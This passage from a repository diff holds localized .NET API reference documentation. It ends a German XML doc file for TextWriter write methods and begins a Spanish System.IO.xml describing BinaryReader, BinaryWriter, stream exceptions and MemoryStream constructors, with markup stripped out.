Boolean-Werts in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichenarray in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichenarray. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Objekts in die Textzeichenfolge oder den Stream, indem für das Objekt die ToString-Methode aufgerufen wird. + Das zu schreibende Objekt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + + oder ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichenarray asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn den Wert null ist, wird nichts geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss in die Textzeichenfolge oder den Stream. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Die Zeichenposition im , an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt durch Aufrufen der ToString-Methode für ein Objekt die Textdarstellung dieses Objekts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das zu schreibende Objekt.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + Eine Zeichenfolge oder ein Objekt wird als null übergeben. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn das Zeichenarray null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/es/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/es/System.IO.xml new file mode 100644 index 0000000..79ab9da --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.5/es/System.IO.xml @@ -0,0 +1,2090 @@ + + + + System.IO + + + + Lee tipos de datos primitivos como valores binarios en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase basada en la secuencia especificada y usando codificación UTF-8. + La secuencia de entrada. + La secuencia no admite la lectura, es null, o ya está cerrada. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, deja la secuencia abierta. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de o es null. + + + Expone el acceso a la secuencia subyacente de . + Secuencia subyacente asociada a BinaryReader. + 2 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Rellena el búfer interno con el número especificado de bytes leídos de la secuencia. + Número de bytes que se va a leer. + Se llega al final de la secuencia antes de se ha podido leer. + Se produce un error de E/S. + Solicitado es mayor que el tamaño del búfer interno. + + + Devuelve el siguiente carácter disponible y no hace avanzar la posición de bytes o caracteres. + Siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + No se puede descodificar el carácter actual en el búfer de caracteres interno utilizando la seleccionado para la secuencia. + 2 + + + Lee los caracteres de la secuencia subyacente y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lea de la secuencia. + Siguiente carácter de la secuencia de entrada o -1 si no hay más caracteres disponibles en este momento. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Lee el número especificado de bytes de la secuencia, a partir del punto especificado en la matriz de bytes. + Número de bytes leídos en .Podría ser inferior al número de bytes solicitado si ese número de bytes no está disponible, o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de bytes que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de caracteres de la secuencia, a partir del punto especificado en la matriz de caracteres. + Número total de caracteres leídos en el búfer.Este podría ser inferior al número de caracteres solicitado si dicho número de caracteres no se encuentra disponible o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de caracteres que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero de 32 bits en formato comprimido. + Entero de 32 bits en formato comprimido. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + La secuencia está dañada. + + + Lee un valor Boolean de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Es true si el byte es distinto de cero; en caso contrario, es false. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el siguiente byte de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Siguiente byte que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de bytes de la secuencia actual en una matriz de bytes y hace avanzar la posición actual en función del número de bytes leídos. + Matriz de bytes que contiene los datos leídos de la secuencia subyacente.Este podría ser inferior al número de bytes solicitado si se alcanza el final de la secuencia. + Número de bytes que se va a leer.Este valor debe ser 0 o un número no negativo o se producirá una excepción. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + Se produce un error de E/S. + La secuencia está cerrada. + + es negativo. + 2 + + + Lee el siguiente carácter de la secuencia actual y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lee de la secuencia. + Carácter que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + Se ha leído un carácter suplente. + 2 + + + Lee el número especificado de caracteres de la secuencia actual, devuelve los datos en una matriz de caracteres y hace avanzar la posición actual de acuerdo con la Encoding usada y el carácter concreto que se lee en la secuencia. + Matriz de caracteres que contiene los datos leídos de la secuencia subyacente.Podría ser inferior al número de caracteres solicitados si se alcanza el final de la secuencia. + Número de caracteres que se va a leer. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + La secuencia está cerrada. + Se produce un error de E/S. + + es negativo. + 2 + + + Lee un valor decimal de la secuencia actual y hace avanzar la posición actual de la secuencia dieciséis bytes. + Valor decimal que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 8 bytes de la secuencia actual y hace avanzar la posición actual de la secuencia en ocho bytes. + Valor de punto flotante de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 2 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en dos bytes. + Entero con signo de 2 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Entero con signo de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 8 bytes de la secuencia actual y avanza la posición actual de la secuencia en ocho bytes. + Entero con signo de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un byte con signo de esta secuencia y hace avanzar la posición actual de la secuencia en un byte. + Byte con signo que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Valor de punto flotante de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee una cadena de la secuencia actual.La cadena tiene como prefijo la longitud, codificada como un entero de siete bits cada vez. + Cadena que se lee. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 2 bytes de la secuencia actual con la codificación "little-endian" y hace avanzar la posición de la secuencia en dos bytes. + Entero sin signo de 2 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 4 bytes de la secuencia actual y hace avanzar la posición de la secuencia en cuatro bytes. + Entero sin signo de 4 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 8 bytes de la secuencia actual y hace avanzar la posición de la secuencia en ocho bytes. + Entero sin signo de 8 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Escribe tipos primitivos en binario en una secuencia y admite escribir cadenas en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase que escribe en una secuencia. + + + Inicializa una nueva instancia de la clase basada en la secuencia y usando codificación UTF-8. + Flujo de salida. + La secuencia no admite escritura o ya se encuentra cerrada. + + es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + Flujo de salida. + Codificación de caracteres que se utilizará. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, dejando abierta la secuencia. + Flujo de salida. + Codificación de caracteres que se utilizará. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Obtiene la secuencia subyacente del objeto . + Flujo subyacente asociado a BinaryWriter. + 1 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Especifica un objeto sin memoria auxiliar. + 1 + + + Contiene la secuencia subyacente. + + + Establece la posición en la secuencia actual. + Posición con la secuencia actual. + Desplazamiento de bytes relacionado con . + Un campo de que indica el punto de referencia del que se obtiene la nueva posición. + El puntero de archivo se ha movido a una posición no válida. + El valor de no es válido. + 1 + + + Escribe un valor Boolean de un byte en la secuencia actual, que es 0 si es false y 1 si es true. + Valor Boolean que se va a escribir (0 ó 1). + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte sin signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte sin signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una matriz de bytes en la secuencia subyacente. + Matriz de bytes que contiene los datos que se van a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es null. + 1 + + + Escribe una región de una matriz de bytes en la secuencia actual. + Matriz de bytes que contiene los datos que se van a escribir. + Punto inicial de donde comenzará la escritura. + Número de bytes que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un carácter Unicode en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en la secuencia. + El carácter Unicode no suplente que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es un carácter suplente único. + 1 + + + Escribe una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en esa secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + + es null. + La secuencia está cerrada. + Se produce un error de E/S. + 1 + + + Escribe una sección de una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y quizás los caracteres específicos que se escriben en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Punto inicial de donde se empieza a leer. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor decimal en la secuencia actual y avanza la posición de la secuencia en dieciséis bytes. + Valor decimal que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Valor de punto flotante de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero con signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero con signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero con signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte con signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte con signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Valor de punto flotante de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una cadena de longitud prefijada en esta secuencia en la codificación actual de y hace avanzar la posición actual de la secuencia de acuerdo con la codificación utilizada y los caracteres específicos escritos en dicha secuencia. + Valor que se va a escribir. + Se produce un error de E/S. + + es null. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero sin signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero sin signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero sin signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero de 32 bits en formato comprimido. + Entero de 32 bits que se va a escribir. + Se llega al final de la secuencia. + La secuencia está cerrada. + La secuencia está cerrada. + + + Excepción que se produce cuando se intenta realizar una operación de lectura más allá del final de una secuencia. + 2 + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en un mensaje proporcionado por el sistema y HRESULT establecido en COR_E_ENDOFSTREAM. + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en y HRESULT en COR_E_ENDOFSTREAM. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + + + Inicializa una nueva instancia de la clase con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Excepción que se inicia cuando el formato de un flujo de datos no es válido. + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el mensaje de error especificado. + Mensaje de error que explica la razón de la excepción. + + + Inicializa una nueva instancia de la clase con una referencia a la excepción interna que representa la causa de esta excepción. + Mensaje de error que explica la razón de la excepción. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Crea una secuencia cuya memoria auxiliar es la memoria.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada con un valor cero. + + + Inicializa una nueva instancia invariable de la clase de acuerdo con la matriz de bytes especificada. + Matriz de bytes sin signo a partir de la cual se crea la secuencia actual. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la matriz de bytes especificada con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la región especificada (índice) de una matriz de bytes. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + El valor de es null. + + o es menor que cero. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia invariable de la clase según la región especificada de una matriz de bytes, con la propiedad establecida 